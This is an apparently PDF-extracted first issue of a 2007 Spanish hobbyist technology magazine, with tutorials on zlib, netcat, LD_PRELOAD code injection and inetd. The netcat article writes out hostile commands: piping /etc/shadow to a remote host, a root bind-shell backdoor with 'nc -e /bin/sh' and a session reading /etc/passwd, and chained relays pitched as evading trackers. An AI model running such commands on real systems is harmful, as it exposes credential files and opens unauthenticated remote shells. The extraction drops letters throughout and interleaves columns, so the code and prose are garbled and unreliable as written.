Está en la página 1de 31

Editorial

Aqu Estamos

O am's
Razor
Nmero 1, Ao 2007

by The O am Team

ste es el primer nmero del O am's Razor. Para el que no lo sepa,

el lo o navaja de O am es un ono ido prin ipio ient o que bsi amente
viene a de ir lo siguiente: La solu in ms sen illa tiende a ser la buena . Y
esta es la losofa que queremos mantener en esta nueva publi a in.

No s vosotros, pero nosotros e hamos de menos alguna publi a in en la que


no se tenga miedo a profundizar en temas tradi ionalmente lasi ados omo
ompli ados. Ha e algunos aos, ualquier revista informti a estaba repleta
Dire in:
David Martnez Oliveira

Editores:

de programas on los que pra ti ar en tu asa y de art ulos que trataban


uestiones de, podramos de ir, bajo nivel.
La idea era... s ale todo el partido a esa osa que tienes en asa y que puede ha er verdaderas maravillas. Si ya, diris mu hos, pero las osas ha e 15

David Martnez Oliveira

aos eran mu ho ms sen illas, pro esadores lentos, unos po os kilobytes de

Fernando Martn Rodrguez

memoria e interfa es analgi os muy sen illos. Eso es ierto, pero la realidad
es que las osas en pleno ao 2007 no han ambiado tanto omo la mayora

Colaboradores:
Carlos Rodrguez Alemparte,

piensa.
Las osas siguen fun ionando igual, ms rpido, on interfa es ms ompletos

Fernando Martn Rodrguez,

(que no ompli ados, aunque esto ltimo sera uestionable en algunos asos),

Gavin Mathews, Laura

y on mu hsimos ms re ursos. Por esta razn, resulta vergonzoso el po o

Rodrguez Gonzlez, Er

partido que se le sa a hoy en da a un ordenador omparado on las osas que

Aplastao, Er Manitas, Er ATS,

se ha an ha e algunos aos (salvo honrosas ex ep iones laro est).

Un Servidor, Capitan Mio as,

Pues bien, esta revista pretende re uperar esa losofa, profundizar en el fun-

Er Viajante y Tamariz el de la

ionamiento de la te nologa a tual para que deje de ser una osa mgi a y

Perdiz

pase a ser una osa lgi a. Y reednos, todo esto es mu hsimo ms sen illo

Maqueta in
DeMO y LiR

de lo que nos quieren ha er ver... no es trivial, pero dista mu ho de estar


reservado a unos po os elegidos.
Para terminar on la presenta in de este primer nmero queremos dejar laras
tres osas.

Publi idad
O am's Razor Dire t

o ams-razoruvigo.es
Impresin
Por ahora tu mismo. . . Si te
apete e

( ) 2007, 2009 The O am's

La primera es que esta publi a in no va de linux. Puede pare er lo ontrario tras leer este nmero, pero la razn de su ontenido es que no hemos
tenido mu hos olaboradores. Si deseis parti ipar on art ulos sobre temas
interesantes de ualquier otra plataforma stos sern bienvenidos. La ni a
ondi in es que hagis lo que hagis intentis utilizar sistemas libres. Esto
asegura que ualquiera pueda ha er lo que se des ribe en vuestros art ulos sin tener que desembolsar una antidad de dinero desorbitada y adems
ontribuye al progreso de la ultura.
La segunda es que esta revista no es de informti a, sino de te nologa. Tampo-

Razor Team

o hemos tenido mu has olabora iones desde mbitos diferentes a la inform-

Esta obra est bajo una li en ia

ti a, pero eso no quiere de ir que art ulos sobre ele trni a, omuni a iones

Re ono imiento 3.0 Espaa de

o ualquier otro tema rela ionado on la te nologa no tenga abida en esta

Creative Commons. Para ver


una opia de esta li en ia, visite

publi a in. As que animaros a ompartir vuestras experien ias.


Finalmente, que quede laro que no nos ha emos responsables de ualquier

http:// reative ommons.org/

dao que se pueda o asionar en ualquier equipo siguiendo el texto de alguno

li enses/by/3.0/es/ o envie una

de nuestros art ulos. T eres el responsable de lo que hagas on tus osas y

arta a Creative Commons, 171

si no tienes una remota idea de lo que ests ha iendo quizs deberas pararte

Se ond Street, Suite 300, San


Fran is o, California 94105,

y preguntar antes de argarte algo. Por otra parte que sepis que no tenemos
ni un duro as que por mu ho que demandis vais apaados.

USA.

Esperamos que os guste este primer nmero y nos leemos en el prximo.

The O am's Razor


Team

3| OCCAM's Razor

RATAS DE BIBLIOTECA

Si no vas sobrao ... -lz

Como manejar  heros omprimidos en tus programas


por Er aplastao

Si os uento que existe una fun in llamada gzgets,

seguro que la mayora no ne esitara saber ms. Pe-

odos estamos a ostumbrados a omprimir

 heros o in luso dire torios enteros uando empezamos a ir es asos de espa io en dis o. Normalmente, uando queremos re uperar los datos
omprimidos, primero los des omprimimos y luego los usamos. No sera estupendo eliminarnos
este paso?

Mu hos

habris omprobado que

en

los

sistemas

GNU/Linux existen varios programas apa es de trabajar dire tamente on  heros omprimidos, omo
por ejemplo gv (visor de posts ript) o vim (editor de
textos). Lejos de lo que podra pare er a simple vista, aadir esta fun ionalidad a nuestros programas es
mu ho ms f il de lo que nos imaginamos gra ias a
la librera libz.so.

GRABANDO FICHEROS
El siguiente fragmento de digo muestra omo generar un  hero omprimido utilizando la librera zlib:

ro por si hay algn despistado en la sala, ah va un


ejemplillo de uso.

#in lude <stdio.h>


#in lude <zlib.h>
int main ()
{
gzFile f;
har
line[256;
f = gzopen (``mi_fi hero.txt.gz'', ``rt'');
while (!gzeof (f))
{
gzgets (f, line, 256);
printf (``%s\n'', line);
}
gz lose(f);
}
Bastante sen illo no?. As que ya podemos ha er que
nuestros programas graben sus  heros de texto en
formato omprimido y re uperarlos posteriormente

#in lude <zlib.h>

sin ms.

int main ()
{
gzFile f;
f = gzopen (``mi_fi hero.txt.gz'', ``wt'');
for (int i = 0; i < 20; i++)
gzprintf (f, ``Hello World %d\n'', i);
gz lose(f);

Y QUE MS?
Pues para los ms uriosos que quieran sa arle todo
el jugo a esta librera, lo mejor que pueden ha er es
mirarse el  hero zlib.h que normalmente estar en el
dire torio

/usr/in lude.

Este  hero ontiene todos los prototipos y estru turas de datos utilizados por la librera on amplios

return 0;
}

omentarios para ada una de ellas.


Lo mejor es empezar por el nal, donde en ontrareis

En el ejemplo anterior se han omitido todas las omproba iones de errores, para poder on entrarnos en
el uso de la librera. La verdad es que ualquiera que
haya es rito un programa para grabar un  hero de
texto en C lo ver laro :).
Para ompilar este ejemplo, debemos indi ar que se
utili e la librera zlib, esto lo onseguimos on una

las fun iones que hemos visto en los ejemplos anteriores, y unas uantas ms que os resultarn muy familiares.

 La librera zlib nos fa ilita el uso


de  heros omprimidos

lnea omo la siguiente:

g mi_ odigo_de_lamuerte. -o z_ejemplo -lz


Que nos generar un eje utable llamado

CARGANDO FICHEROS

z_ejemplo.

Ya sabemos omo generar  heros omprimidos. Aho-

La primera parte del  hero ontiene el API de ms


bajo nivel on el que ontrolar los parmetros de ompresin y omprimir/des omprimir datos en buers de
memoria, lo ual puede ser til en algunas ir unstan ias.
Finalmente, re ordad que para poder ompilar estos
ejemplos ne esitis el paquete de desarrollo zlib que

ra solo tenemos que saber omo leerlos de nuevo desde

in luye el  hero de abe era

nuestros programas.

lizado.
Hasta el prximo nmero.

OCCAM's Razor | 4

zlib.h

que hemos uti-

MALAS BESTIAS

NetCat: La navaja suiza de la Red

Usos uriosos de esta potente herramienta


por Er Manitas

El programa se quedar esperando onexiones en el


puerto 8080. Ahora oged vuestro navegador preferiet at es un pequeo programa normal-

do e introdu id la siguiente URL:

mente ono ido omo la navaja suiza de las re-

des, puesto que se trata de una herramienta muy


verstil y til. En este art ulo veremos algunos
de los usos no tan omunes de esta herramienta.

http://127.0.0.1:8080
Net at os mostrar por onsola algo pare ido a la gura 1.

NETCAT: n

Bueno, pues todo eso que veis ah abajo es la informa in que enva vuestro navegador ada vez que os

Si ya, el nombre no tiene nada que ver on los gatos,

one tis a una pgina web, en otras palabras esto es

pero mola eh?. Como mu hos os imaginareis, net at

una peti in HTTP.

pretende ser la versin para redes del ono ido oman-

El navegador quedar esperando la respuesta del ser-

do at, por una parte por su orienta in al manejo de

vidor web (nuestro humilde n en este aso), as que,

texto ( omo tantas herramientas UNIX) y por otra

dmosle una respuesta. En la onsola en la que hemos

por su tremenda sen illez.

lanzado el net at, es ribid algo omo esto:

En po o ms de 17Kb (pare e rid ulo no?) esta herramienta es apaz de realizar autnti as proezas on

<h1>Hola Mundo!!!</h1>

una sen illez impresionante. Antes de meternos de


lleno en su uso, una ltima re omenda in: Des argar
el digo fuente y e harle un vistado no es ninguna
prdida de tiempo.

LO BSICO
Para abrir bo a vamos a presentar el uso ms bsi o

 Net at puede trabajar omo


liente o servidor dependiendo de
los parmetros que re iba

del programa, para luego ver todas las posibilidades


que nos ofre e. Lo primero que debemos saber, es que

net at puede trabajar tanto omo liente omo servi-

Y seguidamente pulsad las te las ontrol (CTRL) y C,

dor, dependiendo de los parmetros que pasemos.

para parar net at y errar la onexin. Ahora mirad

Cuando se utiliza omo liente sin ms, fun iona igual

que apare e en vuestro navegador :o.

que el programa

MENSAJERA INSTANTNEA

telnet,

solo tenemos que darle el

nombre o dire in IP de la mquina a la que queremos one tarnos seguida del puerto que queremos
utilizar.
Cuando se utiliza omo servidor es ne esario utilizar
el ag

-l

y el ag

-p

seguido del puerto en el que

queremos que el servidor a epte onexiones. Veamos


un sen illo ejemplo. En una onsola es ribimos el siguiente omando:

n -l -p 8080

Vamos ahora on una apli a in un po o ms uriosa,


utilizar nuestro net at para sustituir esos pesados programas de mensajera instantnea on tantos gr os
y ventanas y todo eso.
Para montar este sen illo sistema, uno de los interlo utores debe lanzar net at omo servidor, y el otro
omo liente en un puerto determinado, algo tal que
as:

GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Ge ko/20050513 Debian/1.7.8-1
A ept:text/xml,appli ation/xml,appli ation/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
A ept-En oding: gzip,deflate
A ept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Conne tion: keep-alive
Figura 1. Datos enviados por nuestro browser

5| OCCAM's Razor

MALAS BESTIAS

dd

Usuario 1: n -l -p 5000
Usuario 2: n IP_USUARIO1 5000

o asin. Otra mala bestia.

Si

ro .iso para tener una opia exa ta del dis o duro de

Que pasada!!!!. Bueno, ya hablaremos de

en otra

Ahora simplemente ne esitamos montar nuestro  heno tenis

amiguitos en internet podis hablar

on vosotros mismos sustituyendo

IP_USUARIO1

por

nuestra vieja mquina, on una lnea omo esta:

127.0.0.1.
Sen illo no?... No est nada mal para 17Kb.

REDIRECCIN REMOTA

# mkdir /mnt/el_viejo
# mount -o loop parti ion1.iso /mnt/el_viejo

/mnt/el_viejo tendramos exa tamente la par-

Mu hos estaris a ostumbrados a utilizar pipes para

Y en

redirigir la salida de un programa a un  hero o a otro

ti in de nuestro viejo ordenador.

programa que ltre esos datos, osas omo:

COMO EN LAS PELIS

at mi_fi hero | sort | uniq | \


sed -e 's/Pepe/Manolo/g' > resultado.txt

En las pelis de ha kers, siempre llega un momento en


el que los buenos estn intentando lo alizar al malo y
en un mapa del mundo se pueden ver unos puntos rojos unidos por unas lneas que se van poniendo verdes

 Es muy sen illo ha er ba kups


por red de imgenes ompletas
de dispositivos utilizando Net at
y dd

mientras lo alizan a los malos.


No est nada laro que es lo que ha e el malo de la
pel ula, pero podra utilizar net at para ha er todos
esos saltos por todas esas mquinas de todo ese mundo... eso si, onsiguiendo un a eso shell primero.
Y omo se hara esto?, pues empipando el net at a
otro net at.

Pues que os pare era poder redirigir la salida de los


programas a otra mquina?, guay no?, pues nada ms
f il. En la mquina en la que queris re ibir la salida de un programa lanzis net at omo servidor en
el puerto que ms rabia os d. Eso ya deberais saber
ha erlo solos :).
En el otro extremo pues solo tenis que ha er:

at /et /shadows | n host puerto

Supongamos que tenemos in o mquinas. La mquina1 es la nuestra, y la mquina5 es la mquina de los


buenos que nos van a lo alizar. La se uen ia de omandos que tendramos que eje utar sera la siguiente:

Maquina4:
Maquina3:
Maquina2:
Maquina1:

n
n
n
n

-l -p 5004 | n maquina5 puesto_destino


-l -p 5003 | n maquina4 5004
-l -p 5002 | n maquina3 5003
maquina2 5002

De

forma

Quien ne esita el ftp para sa ar  hero de una mquina?. Si ya, diris. Pero eso son solo unas po as lneas
de texto... o no?

COMPRANDO UN NUEVO ORDENADOR


Bueno, no se vosotros, pero normalmente, uando yo
ambio de ordenador el dis o duro del viejo se puede
opiar sin problemas en la monstruosa mquina que
nos a abados de omprar (o regalar, o to ar en un
on urso de la tele, o agen iar, o...).

esta

puerto_destino de

nos

one taramos

al

puerto

la mquina5 dando 3 saltos (sin

ontar el ini ial). En realidad estas osas no se ha en


as, pero en aso de apuro... nun a se sabe.

Con una sola lnea y Net at podemos preparar un ba kdoor para


a eso shell a ualquier mquina

As que por qu perder el tiempo sele ionando  heros para que siempre se nos olvide algn dire torio o ulto on las laves privadas que ne esitas para...
bueno, eso no tiene importan ia.
Pues nada ms sen illo. En nuestro nuevo ordenador
eje utamos net at de la siguiente forma:

n -l -p 5000 > parti ion1.iso

PUERTAS TRASERAS
Una puerta trasera, ms ono ida por su trmino anglosajn ba kdoor, es ualquier me anismo que permita un a eso sen illo a un sistema si se sabe ual es la
puerta.
Normalmente su utilidad es la de propor ionar un a eso rpido a los malvados ra kers a las mquinas

Y en nuestro obsoleto ordenador que vamos a va apear :), eje utaremos algo omo esto:

que ya han ra keado, bsi amente para no tener que


volver a ha erlo. En estos asos, lo que interesa es un
a eso shell omo root para tener total ontrol sobre

dd if=/dev/hda1 | n nuevo_ordenador 5000

OCCAM's Razor | 6

la mquina.

MALAS BESTIAS

Y omo ha emos esto on net at?. Si omprobamos


las op iones del programa, veremos que hay dos lasi adas omo dangerous... pues omo somos as ah
nos vamos dire tamente.

n -l -p 5000 - /bin/sh
La op in

le di e a net at que eje ute el progra-

ma que se indi a a ontinua in uando re ibe una


onexin. Bueno, en realidad la osa es un po o ms
ompli ada, pero ahora no es el momento de profundizar en este tema.
Si el omando anterior se ha lanzado omo root, podremos ha er osas omo:

mi_maquinilla$ n pobre illo 5000


whoami
root
d /et
at /et /passwd
...
mi_maquinilla$

KNOCK, KNOCK, KNOCKING ON NETCAT DOOR


Una versin parti ular de los ba kdoors es la t ni a
ono ida omo Port Kno king, algo as omo llamar a
la puerta por los puertos.
Esta t ni a se basa en eje utar un ierto omando,
normalmente levantar un servi io o abrir un puerto
en un rewall, uando se re ibe una serie de intentos
de onexin a un determinado onjunto de puertos en
una determinada se uen ia.
Lo que vamos a des ribir aqu es una aproxima in
muy simple al pro eso, pero on un po o de s ripting
y ha iendo que el liente enve algunos datos, podramos aproximarnos bastante... pero eso queda omo
ejer i io.
Veamos omo se hara.
En la mquina destino, en la que se eje utar la a in que nos interesa, solo tenemos que lanzar una
se uen ia de omandos similar a la siguiente:

n -l -p 500 && n -l -p 400 && e ho "Hola Mundo"

Es un po o in modo porque no tenemos prompt, pe-

Ahora, si desde nuestro liente, nos one tamos prime-

ro hay po as osas ms sen illas.

ro al puerto 500 y luego al 400, en la mquina servidor


se mostrar un amante Hola Mundo en la onsola.
Con lo que ya hemos omentado respe to al opera-

Net at permite preparar Ba kdoors, es anear puertos o realizar


Port Kno king de una forma muy
sen illa

dor &&, la lnea anterior no debera requerir mayor


expli a in.
Sen illo?.... Rudimentario??... S. Pero tambin inquietante.

HORA BOT
Hasta ahora hemos estado utilizando net at dire tamente desde la lnea de omandos, sin embargo, om-

ESCANEANDO PUERTOS

binado on un lenguaje de programa in, las posibili-

Como no poda ser de otra forma, Net at tambin

En el siguiente ejemplo se muestra un sen illo s ript

dades se multipli an.

puede ser utilizado para es anear puertos, es de ir,

shell que implementa un patti o Bot para el IRC que

para saber si un determinado puerto, y normalmente

ada 5 minutos da la hora lo al en un determinado

servi io, de una determinada mquina est a tivo.

anal.

Para esta tarea vamos a utilizar el ag -z para Entra-

da/Salida Nula, es de ir, en este modo, Net at no va a


esperar datos de la entrada estndar ni va a mostrar-

#!/bin/sh

while (true) do
HORA=`date +%H:%M`
# n -z maquina 80 && e ho ``Servi io Web A tivo'' at << EOM | n servidor_ir 6667
USER HoraBot 0 * :Soy el Bot que da la hora
Es de ir, NetCat retorna un digo de error si no pue- NICK HoraBot
JOIN #un_ anal_ ualquiera
de estable er una onexin. Los ara teres && reprePRIVMSG #un_ anal_ ualquiera : Son las $HORA y sereno
sentan el operador AND lgi o para la shell, el ual
QUIT
tiene la pe uliaridad de que si el primer operando es
EOM
0 falso, ya no evala el segundo (no es ne esario,
sleep 300
ya que el resultado ser falso independientemente del done;

los en la salida estndar. Veamos omo ha er esto.

valor del segundo operador).

As, si net at no puede estable er la onexin y devuelve un digo de error, el siguiente omando, el

Como podis ver, este sen illo s ript SHELL, repite

que muestra el mensaje no se eje utar.

innitamente un bu le en el que se one ta a una de-

Combinando esto que a abamos de ver on un po o

terminada mquina y transmite una serie de oman-

de s ripting es muy sen illo montar un rudimentario

dos del IRC utilizando Net at. Luego espera 5 minutos

es aneador de puertos.

y vuelve a repetir el pro eso.

7| OCCAM's Razor

MALAS BESTIAS

Los interesados en el proto olo del IRC pueden dirigirse al RFC apropiado, o esperar a que hagamos un
art ulo guay en la revista, all tu y tu impa ien ia.
Respe to a este ltimo ejemplo, omentaros que en
algunos servidores de IRC requieren un mensaje

PONG

durante la autenti a in, on lo ual el s ript anterior


no fun ionara. De todas formas, podis probar on
otros proto olos omo SMTP o HTTP, por ejemplo.

PARA TERMINAR
En este pequeo art ulo hemos visto algunas apli a iones ms o menos uriosas y/o tiles del programa
net at. En la propia distribu in del programa podris en ontrar un dire torio on varios s ripts que
ha en osas ms ompli adas que las que hemos des rito aqu, y tambin mu ho ms interesantes.
Re ordaros, una vez ms, que net at es uno de esos
programas que mere e la pena estudiar y on el que se
pueden aprender unas uantas osas sobre omo desarrollar apli a iones en red, si bien, el estilo del digo
es un po o para gustos.

LECTORES
Re ordad que podis enviarnos vuestros experimentos on net at, y los ms interesantes, uriosos y gays los publi aremos en el prximo
nmero.
Todava somos pobres para ha er on ursos hasta que onsigamos patro inadores on pasta...
Pero bueno, por lo que te ha ostado esta revista
te puedes estirar un po o no?
Podis enviar vuestras propuestas a:

o ams-razoruvigo.es
A domar esta mala bestia

OCCAM's Razor | 8

REVERSO TENEBROSO

Inye in de Cdigo en Libreras Dinmi as


Cono e los se retos de LD_PRELOAD

por Er ATS

AC_INIT
AM_INIT_AUTOMAKE(inje tion, 0.0.1)
n esta primera in ursin en los entresijos

AM_CONFIG_HEADER( onfig.h)
AM_MAINTAINER_MODE

de la ingeniera inversa, vamos a explorar una


de las formas ms sen illas para la inye in de
digo. Dejando a un lado los usos  uriosos,

AC_PROG_CC
AC_HEADER_STDC()
AC_PROG_LIBTOOL

la inye in de digo en apli a iones binarias


nos propor iona una potente herramienta para
la depura in o adapta in de apli a iones de
las uales no disponemos de su digo fuente.

AC_OUTPUT(Makefile)

LIBRERAS DINMICAS

Ahora solo tenemos que es ribir el make le para el

automake (Makele.am), que para nuestro aso ser

La mayora de las apli a iones a tuales utilizan lo que


se ono e omo libreras dinmi as, he ho que les propor iona iertas ventajas. En primer lugar los eje utables son ms pequeos ya que parte de su fun ionalidad se a movido ha la libreras. Las fun ionalidades
de la librera pueden ser utilizadas por varias apli a iones, de forma que las a tualiza iones de stas se
reejan en varios eje utables (frente a la a tualiza in
de ada eje utable por separado).
Las apli a iones que utilizan libreras dinmi as, mantienen una referen ia a las mismas, de forma que el
argador dinmi o (ldd) pueda en ontrarlas uando
soli itamos la eje u in de una apli a in. Estas referen ias se pueden obtener utilizando el omando

$ ldd /bin/e ho
lib .so.6 => /lib/tls/lib .so.6 (0x4002b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$

ldd del ejemplo ante-

rior, muestra la lista de libreras dinmi as utilizada


por el programa

e ho.

Por ahora no nos interesa la

informa in extra que propor iona

ldd.

lib_LTLIBRARIES=libinje tion.la libinje tion1.la


libinje tion_la_SOURCES=inje tion.
libinje tion_la_LDFLAGS=-ldl
libinje tion1_la_SOURCES=inje tion1.
libinje tion1_la_LDFLAGS=-ldl
CFLAGS+=-D_GNU_SOURCE
noinst_PROGRAMS=test
test_SOURCES=test.

ldd

que nos propor iona una salida omo la siguiente:

Como podemos ver, el omando

algo omo esto:

Slo nos in-

teresa saber que el programa depende de dos libreras


dinmi as.

PREPARANDO NUESTRO EJEMPLO


Para poder trabajar en un entorno ontrolado, lo primero que vamos a ha er es generar un sen illo programa de test y un par de libreras dinmi as on las que
trastear.
Para ello utilizaremos las autotools de GNU que nos

Es muy sen illo rear libreras


dinmi as utilizando la herramienta libtool
Este makele nos va a generar dos libreras dinmi as llamadas

libinje tion.so y libinje tion1.so

respe tivamente y un pequeo programa de test que


el omando

make install nos

instalar.

Ahora solo nos queda eje utar las autotools para onseguir un ongure y poder ompilar nuestro digo

a lo al
libtoolize --for e -- opy
autoheader
automake --add-missing -- opy --foreign --in lude-deps
auto onf
Es habitual in luir los omandos anteriores en un shell

simpli an la genera in tanto de eje utables omo de

s ript on nombre bootstrap y tenerlo siempre a mano

libreras. Creamos un dire torio para nuestro proye -

para ahorrarse este ltimo paso, aunque hay otras for-

to (por ejemplo inje tion) y es ribimos (o opiamos

mas de pro eder en las que no vamos a entrar. Ahora

:) nuestro minimalista ongure.a (si estamos a la

ya estamos en ondi iones de es ribir nuestra pequea

ltima y ya no usamos aquellos .in del pasado).

librera.

9| OCCAM's Razor

REVERSO TENEBROSO

LD_PRELOAD
Para omprender el siguiente ejemplo, primero debemos

ono er

el

uso

de

la

variable de

entorno

LD_PRELOAD que ser la forma de inye tar nuestro digo en la apli a in.
La variable de entorno

LD_PRELOAD permite

forzar la

arga de iertas libreras dinmi as antes de que el


programa a eje utar se argue en memoria. El he ho
de argar una librera dinmi a antes que otra, impli-

#in lude
#in lude
#in lude
FILE
fopen
{
FILE

if

printf

a que ualquier fun in en la librera pre argada se

As, si reamos una librera dinmi a on nuevas ver-

onst har
onst har onst har

path ,

( real_fopen ) (

( path ,

mode )

( " fopen_wrapper :

fprintf

return

siones de las fun iones en una determina apli a in,

las fun iones de nuestra librera sustituirn a las del

return

lari ar ms las osas.

onst har

E n t r a n d o \ n" ) ;

" /tmp" ,

4 ) == 0 )

Consigue

( stderr ,
" A eso

" fopen_wrapper : "


Denegado ' % s ' \ n" ,

path ) ;

NULL;
el

puntero

r e a l _ f o p e n = dlsym
real_fopen

al

fopen

(RTLD_NEXT,
( path ,

real

" fopen " ) ;

mode ) ;

Lo primero que observamos es que la de lara in de

MICRO-SANDBOX

fun in de la librera C estndar

Los ms antiguos del lugar re ordarn que los par-

lneas de la fun in llevan a abo la omproba in del

nuestra fun in es exa tamente la misma que la de la

fopen. Las primeras

ques infantiles tena arena en el suelo, sobre todo al

nombre del  hero que queremos abrir y en aso de

nal de los toboganes y otros elementos ldi os que

que sea positiva devuelve el valor NULL, igual que la

nos permitan partirnos la risma al ms mnimo des-

fun in

uido. Normalmente, esa arena estaba en una  aja,

Si el dire torio al que pretendemos a eder est permi-

fopen original.

fopen

bueno, se vean una espe ie de ajn semi enterrado

tido, enton es tenemos que obtener la fun in

destinado a mantener la arena en su sitio.

real y eje utarla, devolviendo el stream ade uado a la

Bien, pues un sandbox es una de esas ajas de arena

apli a in prin ipal.

de los antiguos parques infantiles, un dispositivo des-

Para ello, hemos de larado un puntero a fun in on

tinado a que un programa no se dae o ms bien,

un prototipo ompatible on nuestro

que el programa no dae nada en el sistema. Quizs

usado la fun in

el sandbox ms ono ido es el que se monta on el

fun in

omando

niendo el puntero al

dlsym

fopen

y hemos

para obtener el puntero a la

tual Java que se populariz on el uso de applets en

fopen original. Realmente no estamos obtefopen original, sino al siguiente


fopen disponible (parmetro RTLD_NEXT. Esto permi-

un entorno inseguro omo Internet.

te enlazar varios wrappers a la fun in de inters.

hroot, junto al in luido en la mquina vir-

Para omprobar este ltimo omportamiento genera-

 Un sandbox propor iona un entorno seguro para la eje u in de


programas
Para ilustrar el uso de

LD_PRELOAD

vamos a montar

un mi ro-sandbox para evitar que ualquier programa


es riba datos en el dire torio

/tmp. S, esto es un po o

absurdo, pero as nos sale un ejemplo muy sen illo.


Para nuestro ejemplo, simplemente vamos a es ribir
una versin de la fun in

fopen

que ompruebe el

nombre del  hero y en el aso de tratarse del dire torio tmp retorne un error.

UN NUEVO FOPEN
Editamos nuestro  hero inje tor. y aadimos el digo siguiente:

OCCAM's Razor | 10

);

posteriormente.

el mismo. Ahora veremos todo esto on un ejemplo que

< d l f n . h>

( strn mp

eje utar antes que su homnima en libreras argadas

programa onsiguiendo inye tar digo arbitrario en

< s t d i o . h>
< s t r i n g . h>

mos el  hero inje tor1. idnti o al primero, pero modi ando el mensaje del primer printf para que podamos identi ar que el programa a pasado por ese
punto. Eso os lo dejamos a vosotros.

REVERSO TENEBROSO

UN PROGRAMA DE EJEMPLO
Ahora solo tenemos que es ribir un sen illo programa de ejemplo que use la fun in fopen para probar
nuestro mi ro-sandbox. Algo omo esto:

#in lude
int
onst har
(

if

ningn  hero.... somos la bomba!

.libs es porque ese es el lugar en el que libtool


make
install las libreras no pasan al dire torio apropiado
Lo del

Ahora vamos a ver si nuestra adena de wrappers fun iona orre tamente.

( ( f = fopen
fprintf

( fname ,

" wt " ) ) == NULL)

( stderr ,

"No puedo

else

es ribir en /tmp. Comprobemos que no se ha generado

(/usr/lib o /usr/lo al/lib).

fname )

FILE

la librera y el mensaje de a eso denegado al intentar

genera las libreras. Hasta que no se eje ute un

< s t d i o . h>

test

Estupendo!!!. Hemos visto nuestras lneas de traza en

abrir

fi hero

' % s ' \ n" ,

fname ) ;

$ rm /tmp/preload_test.test
$ LD_PRELOAD=.libs/libinje tor.so:.libs/libinje tor1.so ./test
fopen_wrapper: Entrando
fopen_wrapper: A esso Denegado a '/tmp/preload_test.test'
No puedo abrir fi hero '/tmp/preload_test.test'
fopen_wrapper: Entrando
fopen_wrapper1: Entrando

fprintf
f lose

(f ,

" H o l a Mundo ! ! ! \ n" ) ;

Vemos que, en el aso de que todo sea orre to, adems pasamos por la segunda librera, omo demuestra

( f );

la ltima lnea del ejemplo anterior. Cuando se intenta

a eder al dire torio /tmp, la primera librera ya blo-

int

quea el progreso y nun a llegamos a la segunda, por

main

eso apare e un solo mensaje de la segunda librera.

()

{
test

( " /tmp/ p r e l o a d _ t e s t . t e s t " ) ;

test

( " preload_test . t e s t " ) ;

return

0;

OTRAS APLICACIONES
Como os podis imaginar, los usos de
1, 2, 3, responda otra vez:

Sandboxes

Como podemos omprobar el programa propor iona


una fun in que intenta abrir un  hero y en aso de

Cifrado/ ompresin/manipula in

que sea posible, lo sustituye por la adena Hola Mun-

Programa in por Contrato


Programa in Orientada a Aspe tos
Depura in

(./ onfigure && make) y

veamos el resultado.

Lo primero que ha emos es eje utar nuestro programa de test normalmente y omprobar que se genera
un  hero en /tmp y otro en nuestro dire torio a tual.

$ ./test
$ ls /tmp
preload_test.test
Ahora probemos nuestro mi ro-sandbox. No olvidis
borrar el  hero de ejemplo de /tmp.

$ rm /tmp/preload_test.test
$ LD_PRELOAD=.libs/libinje tor.so ./test
fopen_wrapper: Entrando
fopen_wrapper: A esso Denegado a '/tmp/preload_test.test'
No puedo abrir fi hero '/tmp/preload_test.test'
fopen_wrapper: Entrando

general

Test Unitarios/Mo k Obje ts

 Con LD_PRELOAD podemos


modi ar fun iones en libreras
dinmi as

NADA DE ESCRIBIR EN tmp

en

de  heros

do!!!.

Compilamos on el tpi o

LD_PRELOAD son

ilimitados. Algunos ejemplos podran ser... sandbox...

Paraleliza in de Tareas
Con todo lo que hemos omentado hasta el momento,
podis investigar por vosotros mismos ualquiera de
estas apli a iones, y seguro que en el trabajo diario
apare ern posibles usos de esta t ni a.

RESUMIENDO...
En este pequeo art ulo hemos visto omo utilizar la
variable de entorno LD_PRELOAD para modi ar
el omportamiento de una librera dinmi a. Hemos
visto omo rear un sen illo sandbox y apuntado algunas ideas de omo apli ar lo que hemos aprendido.
No reparis en enviarnos ualquier apli a in gay. No
desesperis, en prximas entregas seremos ms malos
:*

11| OCCAM's Razor

M RPIDO

Crea tu propio Servi io de Internet

Exor izando al superdemonio inetd


por Un Servidor

la vamos a obviar en este art ulo (esta es la

se in m rpido... que esperabas?)

uin no ha ne esitado alguna vez es riLa siguiente olumna espe i a el usuario on

bir su propio servidor?. Si tu respuesta es yo,

el que se eje utar el servi io. nobody es una

no desesperes, ya te to ar. Sin embargo, si solo

buena ele in

ne esitas un servi io muy simple, puede que no


ne esites vrtelas on los so kets o osas peores.

Finalmente, las dos ltimas olumnas indi an el

En este art ulo te des ubrimos omo utilizar el

programa que se eje utar para propor ionar el

superdemonio inetd para rear servi ios de una

servi io y los parmetros de este. Re ordad que

forma muy rpida, sen illa y o upando muy po-

el primer parmetro de ualquier programa es

o.

el nombre del programa, as que omo mnimo

inetd. EL SUPERDEMONIO

siempre tendremos ese parmetro, omo se puede apre iar en el ejemplo.

Os preguntareis... qu es eso del superdemonio?. Pues

Vale, todo esto est muy bien, pero mo es ribo mi

omo su propio nombre indi a, se trata de un servi io

servi io. Pues de la forma en la que se ha en las osas

apaz de propor ionar otros servi ios. Bueno, su nom-

en UNIX, on stdin y stdout.

bre sugiere ms bien una bestia pestilente on uernos

stdin Y stdout

y rabo de gran tamao, la bestia se entiende, pero esa


frase quedaba muy bien ah.

Aunque podran pare er dos engendros gemelos del

El superdemonio inetd nos permite rear servi ios muy rpidamente

inframundo, amiguitos del superdemonio inetd, realmente se trata de la entrada y salida estndar. La entrada/salida estndar por defe to se aso ia a la onsola, as, la entrada estndar se aso ia al te lado, mientras que la salida estndar a la pantalla de nuestro
terminal.

Este demonio, uando es lanzado, lee el  hero de ongura in que se en uentra en

/et /inetd. onf,

el

ual le propor iona informa in sobre los servi ios que


va a gestionar.
Una entrada tpi a de este  hero es tal ual as:

ident

stream t p wait identd /usr/sbin/identd

identd

Vamos a ver que signi a ada una de las olumnas

Lo que su ede on estos dos dispositivos es que pueden


ser redire ionados, es de ir, ualquiera de ellos puede
ser sustituido por ualquier otro y esto es pre isamente lo que ha e inetd. Por una parte, inetd, redire iona
la onexin de red entrante a la entrada estndar del
pro eso que lanza (las ltimas olumnas del  hero
